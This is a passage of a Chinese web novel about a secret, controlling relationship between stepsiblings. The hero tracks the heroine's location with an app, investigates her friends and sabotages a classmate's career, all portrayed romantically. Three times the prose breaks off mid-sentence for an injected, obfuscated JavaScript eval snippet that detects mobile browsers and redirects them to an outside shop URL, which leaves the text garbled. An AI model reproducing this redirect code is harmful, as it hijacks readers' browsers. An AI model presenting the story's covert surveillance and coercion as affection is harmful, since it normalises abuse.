“那怎么你一来,你哥哥就要走?” 项茴冤死了,“我也不知道。” 难道是昨晚她没给他亲,所以才生气了? 昨天晚上,迟颂突然给她发消息:【来三楼。】 项茴:【今天不是周日,不做。】 迟颂:【亲一口就放你走。】 他的话根本不可信,谁知道亲一口会不会演变成做一次,进而做好几次,项茴很硬气地回复:【好困,我要睡了。】 然后,就变成今早这样了。 既然迟颂吃好了早餐,项茴也不想让他干等着,拿起一个三明治一盒牛奶,礼貌地道别:“迟叔叔,妈妈,我去学校了。” 等她走了,瞿莉无奈摇头,“本以为补课能让兄妹两熟悉一点,怎么我看着关系越来越差了。是不是茴茴太笨,阿颂教的不耐烦了?” 迟启文没放在心上,在他看来,家里这几个孩子能维持表面和谐就行了,又没血缘,关系能亲近到哪里去呢? 到目前为止,迟颂的做法没问题。 再说迟颂给项茴补课的事,他的儿子他了解,这大概也是迟颂应付他和瞿莉的面子工程,好让大家以为他接受了这个重组家庭。 迟启文咳嗽一声,“不同校不同年级,可能有代沟。” 瞿莉好笑:“年龄只差八个月,有什么代沟。” 迟颂生在12月29,项茴在8月29,因为迟颂读书早,又因为项茴复读,两人才差了两级。 迟启文安抚说,“阿颂的性格就这样,有时候连我也不搭理,随他去吧。” 瞿莉却无法不在意迟颂的态度。 在迟家住的越久,她越能感受到迟启文对迟颂的重视。要是没法让这个继子真心实意接受她,领证恐怕遥遥无期了。 迟太太的位置很抢手,一天做不成合法夫妻,瞿莉就一天放不下心。 犹豫再三,她试探道,“启文,你说,阿颂是不是对我有意见?” “你别多想。”迟启文扶了扶眼镜,“要是真对你有意见,他就不会答应住在一个屋檐下了。” 瞿莉往杯子里添了添水,“那我们就一直这样吗?” “现在这样不好吗?” “当然很好,但我想更好一点。” “我这个位置一举一动都影响公司,很多事要慢慢来。”迟启文笑笑,握了握她的手,“今天上午我事情不多,陪你去商场逛一逛吧。” 这边,迟颂才坐上车,项茴就拿着早餐追上来了。 车门关好,郑叔叔启动手刹,车子缓缓滑出别墅区。到了外面的马路上,项茴用吸管戳开牛奶,小口小口地吸。 迟颂盯着她的唇,眼神暗了又暗,喉咙发紧。 项茴的嘴巴色泽红润,弧度自然上扬,唇珠不用撅嘴就很饱满,嘟嘟翘翘为她增添了几分稚气。这会一丝奶沫浮在唇上,令迟颂脑海里浮现一些少儿不宜的画面。 然而,想到那个不平等条约,迟颂脸色又沉了几分。 一周一次,人间酷刑。 感受到危险的注视,项茴扭头,撞上迟颂的目光,她舔了舔唇,“你今早怎么了?我一去餐桌你就走,我妈妈还以为我惹你了。” 迟颂注意力仍在她的唇上,滚了滚喉结,“不是要我和你保持距离?” “哦。”项茴终于喝完了牛奶,把空盒子放进挂式垃圾桶,“你做的很好,以后在家我们就这样。” 迟颂冷笑,掐一把项茴脸颊上的软肉,放狠话说:“距离周日没几天了,你给我等着。” - 今早又是三节高数课,项茴和庄澄坐在第四排。 高数老师叫王家福,因为留八字刘海,所以同学们私底下叫他全家福。 这会,全老师在讲台上激情演说唾沫横飞,板书擦完又写,写完又擦,项茴原本还努力跟着,渐渐头晕眼花。 她扭头看向旁边睡眼惺忪的庄澄,胳膊捅了捅对方。 庄澄迷迷瞪瞪:“没睡。” 项茴忍俊不禁,小声打趣她:“你都快梦游了。” “哎,空气里有安眠药。”庄澄实在熬不住,也不装了,“我眯十分钟,帮我看着点老师。” 项茴把自己的外套递给她,“空调有点冷,小心感冒。” 庄澄:“茴茴,你好贴心。” 好不容易挨到中午放学,项茴听困了,庄澄也睡饱了。 跟随大部队走到食堂门口,庄澄忽然提议:“下午没课,要不我们出去吃吧,金颐广场那儿新开了一家私房菜馆,大学生打七折,去不去?” 项茴和庄澄偶尔会出去改善伙食,上次吃火锅是庄澄请客,项茴一直想请回来,她点点头,“行。” 金颐广场不远不近,打车也就十分钟。项茴是第一次来这里,到了地方才发现,竟然在京大门口。 有那么一瞬间,项茴确实犹豫了。 但转念一想,京大在校生四万多人,哪儿这么容易遇到。而且据她所知,迟颂还挺忙的,想必没时间出来吃饭。 思绪千回百转间,项茴和庄澄踏进了餐厅。 私房菜馆中式装潢,外面看着不大,进去别有洞天,绿植深深犹如热带花园,棂条交织的窗户更显幽静。 附近有好几所高校,这会坐满了大学生,项茴和庄澄进去才被前台告知没位置了。 正纠结要不要换一家,身后传来熟悉的声音:“哟,你们也来这儿吃饭?” 是楚安意。 庄澄和楚安意的关系时好时坏,但吵架也不是因为什么大事,既然在外面碰见,楚安意就说:“一起吧,我订的位置是八人桌,加你们俩绰绰有余。” “有哪些人?” “大部分是学生会的,加我一共五个人,你们都认识。”楚安意啧一声,“本小姐请客,给不给面子啊?” 庄澄:“你转性了?之前抄作业都要付费,怎么突然请客?” 楚安意哼哼,“心情好呗,不去算了。” “去,白吃白喝的事我最喜欢了。”庄澄可不会放过宰她的机会,拉着项茴往里走,“茴茴,我们吃穷她。” 餐厅内部是中空设计,一楼大厅分布着散座,二楼半开放式私密座,桌子与桌子间用屏风和绿植隔开。 楚安意订的位置在一楼,到了地方,项茴才发现都是认识的人。 两个女生和她一起做过志愿者,一个男生来自导演系,是楚安意的暧昧对象,另一个男生,是许慕明。 “这两个是我室友,大家一起吃个饭,没意见吧?” “楚大小姐做东,我们客随主便。”一个女生笑笑,“坐吧,我们刚好准备点菜。” 项茴不大自在,但来都来了不好临阵逃脱。 许慕明倒是挺开心的,殷勤起身为两个女生拉开位子,把菜单递给她们。 “谢谢。”项茴和许慕明相隔一个位置,莫名有些不安。 七个人一共点了十道菜,等待的时候众人聊天,项茴才知道,原来他们今天是出来拍学校宣传片的。 许慕明因为形象好且拍过广告负责出镜,其他几人负责拍摄。 “学长,你们戏剧影视学院的学生很赚钱吧,听说拍个广告最低也有好几万,进组赚的更多,真是靠脸就能吃饱饭啊。” 许慕明笑笑,“还是看机遇,毕业就失业的人也很多。” 楚安意透露:“学长最近试镜了一个网剧剧组,结果怎么样?” “还不错,应该很快就能进组了,大四一边拍戏一边准备毕设。” 传媒大学艺术类专业都挺吃香的,但项茴的专业属于计算机类,在传媒大学这个专业不算强势。高考报志愿那会,她原本报的新闻专业,可惜分不够,被调剂到了数字媒体技术。 项茴了解过,数字媒体技术就业方向和薪资还可以。现阶段她没想太多,反正好好学就对了,至少保证不挂科。 说话间,服务生过来上冷饮,许慕明距离服务生最近,接过一杯,先放到项茴面前。 小小的一个举动,谁都没在意,然而,项茴瞬间汗毛直立。 她感觉,看不见的地方有人在盯着她。 项茴扭头四处寻找,却只看到满大厅的食客。 是她想多了吗? 可那种感觉太真实太强烈了,项茴很难忽视,她忽然很想知道迟颂在哪儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585917|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种时候,looking软件就派上了用场。 项茴低头解锁手机,点进软件,大吃一惊。 5月21日,02:39 对方还没入睡,刚刚解锁手机查看了你的定位 5月21日,11:45 对方位于京北大学,当前地点距离您5.5km 5月21日,12:17 对方位于中萃食馆,当前地点距离您0km …… 迟颂也在这家私房菜馆。 在她看不见的地方,盯着她。 项茴感觉迟颂像一张无所不在的网,而自己是被困其中的蝴蝶,怎么都逃脱不开他桎梏。明明只是吃个饭,正常社交而已,这下迟颂又要生气了。 项茴左右张望,这时,手机进来一条信息。 迟颂:【你在找我吗?】 真吓人啊。 项茴低头打字:【你在哪儿?】 迟颂:【二楼,三点钟方向。】 项茴朝他所指的方向抬头,就看见一株君子兰后面,迟颂若隐若现的脸。 他微微勾唇,眉目温和,却让项茴不寒而栗:【和你的好学长吃饭吧,多吃点。】 反正是最后一顿了。 项茴还是想解释一下:【我不知道他在,不小心遇上的。】 迟颂:【嗯,我没生气。】 “……” 事已至此,先吃饭吧。 菜已经上齐了,大家开始动筷子,项茴决定晚上再哄他。 没吃几口,服务生端来一份香辣碎鸭和剁椒鲈鱼,楚安意奇怪:“我们没点这两个菜,上错了。” “今天做活动,送的。” “哇,谢谢。” 在场的人大部分都吃不了辣,所以点菜的时候以清淡为主,项茴若有所思,望了望二楼。 - 迟颂一天至少看三次looking,掌握项茴的位置,就能大致猜到她在做什么。 下午要去公司,刚刚打开手机一看,发现项茴就在京大附近,迟颂就和言斯昱过来了。 见他低头盯着手机,言斯昱吊儿郎当道:“你是不是谈恋爱了?” 其实言斯昱早就怀疑好兄弟有女朋友了,天天看手机,有一次还在他耳后发现可疑的红痕,忍到今天才问,是因为他等着迟颂把人带来,但这小子一直没行动。 迟颂扫一眼楼下,淡淡“嗯”了声。 “卧槽,什么时候的事?” “半年前。” 言斯昱啧啧:“藏得够深,什么时候带来看看?” “不方便。” “什么意思?你女朋友脸皮薄,还是长得见不得人?” 迟颂心思却不在这里,三天前私人助理发来许慕明的资料,如果这人安分守己,迟颂或许会当作没见过他,然而现在看来,他不插手是不行了。 出生京市,父母经营一家中型食品企业,叔叔从政……大三,表演专业,拍过三次广告…… 迟颂浏览着这份资料,不放过每一处细节,言斯昱原本好奇他那位金屋藏娇的女朋友,渐渐地没了声。 因为他发现,迟颂的眼神带着审视和算计,像要刀人。 言斯昱:“谁惹你了?” “没什么。”迟颂收起手机,心里已经有了打算。 法制社会,想让一个人在另一个人的世界消失其实也不难。 威逼利诱,总有一种方式管用。 迟颂知道,项茴不喜欢许慕明,但这只是现在,以后呢?谁知道在他看不见的地方,姓许的会怎么接近项茴,会怎么骗取项茴的信任,会怎么撬他的墙角? 之前,迟颂不是没想过派人跟在项茴身边,好知晓她每天见了什么人,说过什么话,去过什么地方。 因为项茴排斥,这个想法才不了了之了。 说到底,他用了些手段得到项茴的人,但这远远不够,他还想获取项茴的心。既然如此,有时候总得考虑她的感受,总得装得像个好人。 迟颂坚信,获取项茴的心只是时间问题,只是在这之前,先要解决一些潜在的麻烦。 吃完饭,楚安意几人下午还要继续拍摄,项茴和庄澄打算回寝室睡个午觉,晚上再去上通识课。 结伴走到外面,项茴热得直冒汗,站在树荫下低头打车,庄澄喝了点酒头晕,没骨头似的靠在她身上。 身后响起脚步声,不急不徐,缓缓逼近。 项茴扭头,对上了迟颂的视线。 他和言斯昱并排走出来,两人都生了一副好容貌,站在一起非常引人瞩目。 项茴下意识躲避,然而言斯昱已经认出她了。 “项茴?”他撞了撞迟颂的肩,提醒说:“你妹。” 他的声音不大不小,刚好能叫在场的人听到。众人纷纷回头,看看两个大帅哥,再看看项茴,满心疑惑: 谁是谁的妹妹? 10. 010 言斯昱第一次见项茴,是在去年年底。 那晚几个朋友聚会,玩到凌晨,言斯昱说在酒店睡一宿算了,但迟颂坚持要回御河公馆。他喝了酒,言斯昱倒没沾,于是屈尊降贵,做了回迟颂的司机。 车停在御河公馆别墅前,来开门的是一个女孩。 那会正是初冬,夜里寒气重,女孩穿一套米色居家服,长发随意扎成低马尾。风一阵一阵地吹,她单薄得几乎要站不住。 言斯昱对她的第一印象就是白,肌肤如雪,安静柔美,典型的南方人长相。 进了屋,迟颂问:“莲姨呢?” 女孩答:“请假了。” 迟颂揉揉太阳穴,“头疼。” 嗅到他身上的酒味,女孩说:“厨房有醒酒汤。” 待她去了,言斯昱才问迟颂这女孩是谁,迟颂说是他的继妹,叫项茴,在传媒大学念大一。 迟启文交了新女友,这件事早在圈子里传开了,只不过迟启文从不带新女友在公开场合露面,所以大家对她并不熟悉。那晚,言斯昱才知道这位新女友已经入住迟家,而且还带着女儿。 迟家的事他不方便评价,把好兄弟安全送到家就走了。后来也没机会再见项茴,没想到今天会在中萃食馆碰上。 既然同住一个屋檐下,言斯昱以为迟颂和项茴的关系应该还可以,这才开口提醒他。但见迟颂久久不言,又犹豫了。 言斯昱看向迟颂,“不打个招呼吗?” 迟颂没说话,盯一眼靠在项茴肩膀上那个女孩儿,又盯一眼许慕明,最后视线扫过项茴,淡淡:“走了。” 言斯昱嘴欠,边走边调侃:“我们项茴妹妹惹你了?还是你们关系一直这么差?” “谁是你妹?” “你妹,你妹行了吧。” 二人走远了,背影消失在京大校门口。 言斯昱本就是随口一说,听到的人却差点惊掉下巴。 庄澄酒劲都醒了,眼睛瞪得圆溜溜,“茴茴,那个帅哥叫你妹妹,你和迟颂他们很熟吗?” 在这里遇见两个大帅哥本就够惊喜了,谁知还听到这么一个劲爆的消息。 大家都很好奇,项茴却不愿多说,只道:“认识,但不熟。” “也对,他们没和你打招呼就走了。” “迟颂好高冷啊,他旁边那个帅哥倒是挺随和的。” 楚安意猜测项茴和迟颂家里可能是世交,父母关系好,子女却连点头之交都算不上,因为她家里也有不少这种关系。楚安意不爱瞎掺和,帮忙解围,“好了,别盯着帅哥美女的私事,走吧走吧。” 许慕明惊讶项茴竟然认识迟颂和言斯昱,这两人在京市圈子里很有名,攀上他们的关系,想做什么做不成。所以,项茴到底什么来头? 思索间,许慕明先打到一辆车,他喊道:“项茴庄澄,上车吧,和我一起走。” 他当然是有私心的,想和项茴多呆一会儿,也想寻个借口重新加好友。 许慕明自认为没做冒犯项茴的事,也没在微信上频繁骚扰,不知为什么就是被删了,难道是误操作? 他热情邀请,项茴却避之不及,“不用,你们先走就好。” 楚安意倒是不客气,拉上许慕明:“学长我们几个先走吧,拍摄要紧。” 又等了几分钟,项茴和庄澄才打到车。 上车后,庄澄实在压不住好奇心,追问:“茴茴,你是迟颂的哪种妹妹?表妹,堂妹?还是什么妹?” 寝室里,就两人的关系最亲近,而且庄澄不是乱说话的人,想了想,项茴简单解释说:“重组家庭那种妹。” “啊,我懂了。”庄澄恍然大悟,“怪不得你看见迟颂那张帅脸没太大反应,我们讨论他你也没兴趣,是在家里看腻了吧。” 那倒不是。 迟颂帅的很客观,很有冲击力。 虽然项茴总骂他变态,但每次看见他的脸,都会有片刻失神。只是,她必须藏好那层隐秘的关系,所以假装对迟颂的颜值不感冒罢了。 庄澄向她保证,“茴茴你放心,我不会乱说给你惹麻烦的。” “谢谢。” 庄澄透露,“昨天我听说,夏轻瑶费了好大功夫才要到迟颂的微信,但迟颂没通过好友申请,看来夏轻瑶做不成你嫂子了。” 项茴没接话,低头不知在想什么。 “欸,以后迟颂娶老婆了你记得告诉我一声,我倒要看看这个大帅哥最后会落在谁手里。” 说话间,项茴手机进来一条信息。 迟颂:【刚刚靠在你肩膀上那个女生是谁?】 项茴:【我室友,庄澄。】 迟颂:【她是蕾丝?】 项茴呆滞。 她不知道迟颂为什么有这种想法,大概在迟颂眼中,每一个她身边的人,无论男女都心怀不轨吧。 本想等晚上好好和他解释,然而下了晚课却没见到人。 项茴很少打听迟颂的行踪,但白天那顿饭让她隐隐不安。想给迟颂发信息,手机却没电了。 她问司机:“郑叔叔,您知道迟颂去哪儿了吗?” 车到达十字路口,遇上红灯停下来。 郑宏远不知该不该说,但想到两人的亲密关系,还是道:“迟太太的冥诞快到了,阿颂回周家准备祭拜事宜。” 项茴点点头,知道周家的事敏感,不再多问了。 大一课程多,项茴依旧每天在学校和家之间往返。过了几天,午休后她和庄澄一起去上课,路上碰见许慕明,他腿上竟然打着石膏。 “学长——”庄澄关心道:“上次一起吃饭你还好好的,怎么搞的啊?” 许慕明脸上有不太明显的擦伤,他拄着拐,衣服干干净净但人很疲惫。他笑容依旧温和,看见项茴顿觉窘迫,“聚会喝多了酒没看路,从楼上摔下来骨折了。” 庄澄:“不会影响你进组拍戏吧?” 这正是许慕明最担心的。 他马上要进组拍一部古装剧,少不了骑马和舞刀弄枪,原本已经定了他演男二,现在剧组不知什么意思,导演电话打不通,原本在谈的几条广告合作也没了下文。 许慕明感觉哪里不对劲,但又说不上来,只能硬着头皮道:“希望不会吧。” 他虽然这样说,项茴却觉得悬了。 剧组那么多人,总不会为了等他延期拍摄,他演不了有的是人演。 因为时间紧,几人也没多聊,分开后各自去教室上课。 “哎,学长好倒霉。听说他父母做生意欠了不少债,所以才想进娱乐圈搏一搏。都说新人出头难,错失这次进组机会,如果是我肯定不甘心。” 项茴奇怪:“你怎么知道学长家里的情况?” “楚安意说的,你又不是不知道她人脉广。” 印象中,许慕明是个不错的人。 上学期一起做小组作业,当时组里有成员频频缺席讨论也不完成个人任务,项茴提出找那位成员沟通,或者报告上不加他的名字,许慕明却秉承多一事不如少一事的原则,不吭声就帮别人把活干了。 别人眼里,许慕明有教养没架子,很少见他发脾气。但成长环境告诉项茴,人过于良善并非益事,不然为什么柿子专门要挑软的捏呢? 或许内心深处,比起温良她更爱尖锐,所以才对许慕明没感觉吧,但项茴不希望自己给许慕明带去麻烦。 不确定这件事和迟颂有没有关系,项茴一下午都心神不宁,思虑再三,给迟颂发信息:【今天补课吗?】 过了几分钟,迟颂回:【晚上去你房间。】 - 晚上九点多,项茴在卧室看书打发时间,没一会迟颂到了。 他刚从周家回来,穿一件黑色薄外套,关上门,迟颂走近坐在项茴身边,问:“在看什么?” 项茴把书递给他,是陀思妥耶夫斯基的《罪与罚》,封面上印刷着那句经典台词:这不是爱,是病。我们双方都明白,我们在互相腐蚀却又紧紧抓住对方。 迟颂接过看两眼,又放下了,“这几天做了什么?” “和以前一样。”项茴说:“上课,吃饭,回家,你猜也能猜到。” 迟颂:“可我看不到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585918|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 项茴确信,如果自己同意,迟颂真的会在她身上装个监控。 她双手放在膝盖上,摩梭片刻,才道:“我有事想和你说。” “你说。” “我想解释一下那天和学长一起吃饭的事,当时我和庄澄去的晚没位置了,所以才一起吃,其实相当于……拼桌,而且我不知道学长也在。” 项茴边说边梳理思绪,“我没骗你,我和学……我和许慕明真没什么,就是一起上过选修课。聊天记录你也看过,再疑神疑鬼就过分了。” 迟颂捻起她一缕发丝,缓缓揉搓,“所以呢,你想我怎么做?” “想请你放过他。”项茴掐了掐掌心才继续:“现在许慕明受伤,很大概率会被剧组退货影响他的前途,这件事……是不是你做的?” 迟颂神色难辨,将她的发丝绕在指尖把玩,“你心疼了?” “真是你做的?” “你是不是心疼了?” “迟颂,一个人的前途,命运太沉重了,我背负不起。”项茴斟酌措辞,“我没有同情心泛滥,更没有心疼他,考进传媒大学的人哪一个没付出努力,许慕明以后是好是坏与我们无关,别因为我们的事殃及池鱼,你……你也别跟个恶霸一样,动不动就出手伤人,还搞砸人家的工作。” 迟颂不知道听进去没有,目光平静。 漫长的沉默后,他缓缓开口,“茴茴,有时想达成目的,只需顺水推舟。” “什么意思?” 迟颂告诉她,“你知不知道,许慕明为拿下男二号那个角色,给他的竞争对手买黑稿造谣传谣。为拍你们学校的宣传片,匿名举报过其他候选人。他树敌太多,只需放下钩子,很多事用不着我动手。” 项茴惊讶,“所以,不是你做的?” “他那几个广告是我撤的。”迟颂大大方方承认,“我可以放过他,前提是他有自知之明。” 软硬兼施,许慕明会感谢他的。 迟颂这番话信息量太大了,项茴还在消化。 她没想到许慕明看起来斯斯文文的一个人,背地里竟然干过这么多损人利己的事。可仔细一想他们交往不深,其实对许慕明的认知仅停留在表面。 那些认为许慕明温良的人,可能是因为和他不存在竞争关系吧。 项茴相信,等许慕明明白过来怎么回事,肯定像躲瘟神一样躲着自己,到时迟颂也不会再针对他了。 总之各走各的,她不想介入谁的因果。 项茴揉揉太阳穴,又想起一件事,“庄澄真的不是蕾丝,那天她喝了点酒头晕,靠着我休息而已。” “我知道。”迟颂轻轻颔首,“她高中谈过两个男朋友。” “……” 他还真去调查了? 变态的脑回路项茴不能理解,说:“你以后不要这样了,庄澄是我朋友,你尊重一下我,也尊重一下她好吧。” 迟颂“嗯”一声,算是答应了。 这场谈话耗时不短,不知不觉夜已深深,外头没了声响。 项茴起身关好窗子,拉上纱帘。和迟颂沟通费时费力,她打了个呵欠,扭头准备赶人,恰巧对上迟颂漆黑的眼睛。 迟颂静静地看着她,一句话不说,却令项茴倍感压力。 “你……你该回去了。”项茴敏锐地察觉到危险,提醒说:“今天不是周日。” “我知道。” 迟颂说着,人却没动,伸手去攥她的手腕。 大概因为忍得辛苦,他肌肤滚烫如烙铁一般,项茴碰到都惊了,瑟缩两下,又被迟颂拽回去。 迟颂拉着她软绵绵白嫩嫩的小手,轻声说:“周末我要去清弘寺,可能下周四才能回。” 清弘寺地处京郊香火鼎盛,昨日项茴听郑叔叔说,因为周夏盈冥诞,周家要在那儿做七天法事。 她点头,“你忙你的。” 迟颂却低声哄她:“帮帮我。” 如此良夜,迟颂不想虚度,又碍于条约不好做得太过,拉过她的手揉了揉,放在该放的位置。 他说:“握好。” 11. 011 清弘寺闭门半月,谢绝一切游客。 周六清晨,天空濛濛飘着细雨,朱红寺门前,缓缓驶来一排黑色豪车。车停下,立马有人撑伞上前,将周氏一家迎进寺中。 清弘寺住持上前寒暄,“周先生,周太太,祭祀事宜已准备妥当,请随我来。” 周如良和夏岚双手合十置于胸前,朝住持微微颔首,迟颂跟在外公外婆身后,穿过庭院去正殿。 周家每年祭拜三次,分别是清明,周夏盈的冥诞以及忌日。今天来的人有十多个,皆穿黑色正装,神色庄重且肃穆。 恢弘殿内,空气中弥漫着陈年香木的味道,青烟袅袅升起,几个僧人盘腿而坐,正低声念诵祭词。周夏盈的牌位立于正中央,被香烛和长明灯环绕。 周如良凝视许久,接过住持递来的三支长香,带头祭拜女儿。 上过香,又焚烧了纸钱,周如良拍拍外孙的肩,“阿颂,陪我去外面走走。” 迟颂应一声,跟上外公步伐。 清弘寺占地面积很大,回廊曲折,假山林立,像一座幽静的私人园林。 二人沿着长廊缓缓走,周如良点了一根烟,闲聊似的问起:“恒越最近怎么样?我听说港城那边出了点麻烦,你和你爸亲自过去了?” 迟颂话不多,只道:“不是大问题,都处理好了。” “那就好。”周如良又问起他的学业,“明年就要毕业了,出国的事准备的怎么样?” 早在高一的时候,迟颂的人生就已安排妥当。先在京大读本科,毕业后去美国,一边读研,一边熟悉恒越和周氏的海外业务,循序渐进稳扎稳打,等学成归国就可以全面接手公司了。 迟颂说:“按部就班进行中。” “嗯。”周如良沉吟,“你也知道,恒越和周氏捆绑很深,这么多年早就切割不开了。你爸呢,以前做事还与我有商有量,这几年越来越随心所欲,项目投一个赔一个,我担心伤了恒越根基屡次规劝,他不听,还嫌我老了瞎操心。” 迟颂轻声:“我总觉得爸爸变了很多。” 周如良嘲讽,“或许他本性如此,只是从前不好表现出来,现在你妈妈走了,直接装都不装了。” 迟启文和周夏盈年轻时,也曾是京市名流圈的一段佳话。 迟启文才能出众风度翩翩,周夏盈作为独生女,从小备受周家宠爱,是圈子里有名的小公主。 两人一见钟情,家世各方面又匹配,强强联合很快就结婚了。 婚后,迟启文在恒越一直被打压,因为他上面还有两个哥哥,迟老爷子更宠爱长子,有意让长子接班。 那时候,恒越内部纷纷站队,没人看好迟启文,只有周如良站出来力挺女婿,为迟启文注资开项目,前后奔走拉人脉,他花了六年时间,才帮迟启文坐稳恒越总裁的位置,恒越和周氏也紧紧绑定,一荣俱荣一损俱损。 如今女儿去了,眼看迟启文越来越靠不住,周如良觉得,恒越还是尽早交给外孙比较好。 “你爸那个女朋友怎么样,有没有给你气受?” 迟颂嗤笑,“您想多了,没有的事儿。” “那就好。”周如良态度坚决,“我不是冷血无情的老古董,人都有七情六欲,盈盈去世快四年了,你爸要谈恋爱可以,谈十个八个我都管不着,但结婚不行,外人插手恒越更不行。” 雨势渐渐收了,漫山遍野青翠欲滴。 夏岚派助理来找祖孙二人,说是去吃斋饭。 往回走的路上,周如良提起:“白露庄园空置了很久,你外婆说过段时间回去整理一下你妈的遗物,我们打算搬过去住。” 周夏盈去世后,外公外婆深受打击,外婆更是一病不起,很长一段时间里,看见女儿的东西就掉眼泪,所以至今白露庄园还保留着原来的样子,周夏盈的东西更是没人碰。 迟颂:“这样也好,白露庄园安静,适合养生。” “嗯,到时候你周末就过来,陪我这个老头下棋。” 迟颂想到什么,“我还没去过白露庄园。” “以前是你妈妈不让。”周如良也不知道说什么,只能宽慰道:“你别怪你妈,她爱你,也怨你,她……太痛苦了。” “我知道,没怪过她。” 吃过午饭,迟颂想回房间休息。途径一处偏殿时,偶遇一个小沙弥。 “先生,求签文吗?事业,财运,姻缘都可以。” 迟颂也不知自己怎么想的,脚步顿住,中邪似的接过小沙弥递来的签筒,轻轻摇晃,里面掉出一支木签。 运气很不好,那是一支下下签,上面写着:情深缘浅不可追,余生空恨无处寻。 迟颂蹙眉,气笑了,把签放回去,重新摇取。 没一会,又掉出来一支,这次写的是:九寸相思渡重洋,心牵一线晦云开。 迟颂还是不满意,再摇。 可能神佛也看不过去,知道摇不出吉签这位少爷今天是不肯走了,于是,终于掉落一支上上签。 签文非常喜庆,写的是:佳偶天成百年好,神仙美眷共此生。 嗯,这次还不错,迟颂满意了。 - 接连几天,项茴总感觉自己手上有味道。 那天晚上的场面过于混乱,很多细节项茴已经记不清了,只记得迟颂的低喘和满室燥热的空气。结束后,迟颂用帕子帮她仔细清理,还亲吻了她的手指。 仿佛是奖励,又像是感谢。 他总是这样,强势和温柔都令人难以抵挡,总有法子逼着,哄着项茴达成目的。 迟颂忙于祭祀,项茴也有自己的事要做。 距离暑假还有一个月,寝室四人已经开始规划假期生活。 蒋之晴要和男友去国外旅游,已经在办理签证和做旅游攻略了,庄澄要去甜品店做兼职,楚安意要好好学英语,因为她报名了雅思考试。 庄澄惊讶,“考雅思?你准备出国吗?” “嗯,学校有交换生项目,大三我肯定申请。”楚安意对未来的规划很明确,“就算申请不上,本科毕业我肯定也要出国的。” 庄澄问项茴:“茴茴,你家庭条件那么好,是不是也要出国?” “不会。”项茴很确定,“我没那个打算。” “那你暑假要做什么?” “可能呆在京市,自己找点事情做吧。” 她自己也没想好,暑假项曦大概要做手术,项茴肯定要陪同的。至于兼职,寒假那会她就尝试过,但被瞿莉严厉制止了。 用瞿莉的话说,一来迟叔叔爱面子,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585919|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会允许她在外面兼职,被人知道还以为迟家要破产了呢,连一个女孩都养不起。二来她们现在不缺钱,还不如把时间花在学习上。 迟颂也不同意她去兼职,因为那样两人相处的时间大大减少,他不乐意。 但项茴知道,她不会一直住在迟家的。 可能大三大四,说不定什么时候,迟颂对她腻了厌倦了有新欢了,项茴就搬出去,或者等毕业了,她想换座城市工作生活。 她和迟颂这种乱七八糟的关系,总有结束的一天。 所以,项茴手里需要一些钱,也得有养活自己的本事。 幸好,她这个专业学的东西比较杂,网页开发,程序设计,视觉设计都是专业课。项茴虽然高数不怎么样,但设计相关的课程学的还不错。 她打算试水自媒体,这几天在看一些同类型的账号,研究他们的设计风格和变现渠道。 平静的日子持续了一周,项茴每天早出晚归,有时候梦里都在运营她的账号。这天傍晚,她刚进家门,莲姨就叫她吃饭了。 餐桌上所有人都在,迟颂竟然回来了,这会正幽幽盯着她看。 项茴一怔,反应慢了半拍,说:“来了。” 她放下书包,走到餐桌边刚坐下,迟颂的右手便探了过来,紧紧抓住她的左手不放。 光明正大地偷情。 心跳怦怦,项茴一动不动,呼吸都放缓了。她挣脱不开,只能庆幸幸好桌布足够宽大,能掩盖她和迟颂的秘辛。 餐桌上,迟启文对周夏盈冥诞的事绝口不提,只问迟颂外公外婆身体怎么样,最近在忙什么。 迟颂的回答很简短,甚至有些敷衍。 闲聊几句,迟启文说起一件事:“周六力西百货的姜总约我打高尔夫,阿颂,陪我一起去吧,正好姜小姐从美国回来,她也是学金融的,近期想在国内投资一些项目,你帮忙看看。” 听到这里,项茴已经猜到这位姜小姐不简单了,可能是迟颂以后的联姻对象? 迟颂兴致缺缺,说话语气不大好,“姜小姐应该有自己的财务顾问,我犯不着抢人饭碗。” “就是随便看看,认识一下。” 迟颂推脱:“周六我有聚会,抽不开身。” 迟启文没了耐性,直接拍板:“既然如此,带姜小姐一起去吧,她刚回国需要认识一些朋友,参加你们的聚会正合适。” 紧接着,迟启文话锋一转,“还有你妹妹。” 项茴呆住,“我?” 不是在给迟颂相亲吗?怎么还有她的事? 迟启文点点头,对项茴说:“别整天闷在家里,大好青春,多结识一些朋友不是坏事。” 瞿莉开心的不得了,她早就有这个打算了。 现在迟启文提起,忙附和道:“对呀,茴茴也一起去吧。再过几个月你就二十了,可以谈恋爱了,你哥哥认识的人多,让他给你介绍介绍。” 